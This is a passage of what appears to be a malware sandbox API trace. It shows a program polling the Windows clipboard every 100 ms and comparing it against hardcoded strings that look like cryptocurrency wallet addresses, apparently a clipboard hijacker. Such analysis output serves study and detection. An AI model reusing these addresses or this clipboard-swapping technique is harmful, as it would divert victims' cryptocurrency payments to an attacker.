lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0050.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0050.103] Sleep (dwMilliseconds=0x64) [0050.207] GetOpenClipboardWindow () returned 0x0 [0050.207] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.207] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.207] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.207] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.207] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.207] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.207] CloseClipboard () returned 1 [0050.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0050.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0050.211] Sleep (dwMilliseconds=0x64) [0050.328] GetOpenClipboardWindow () returned 0x0 [0050.328] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.328] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.328] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.328] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.328] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.328] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.328] CloseClipboard () returned 1 [0050.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 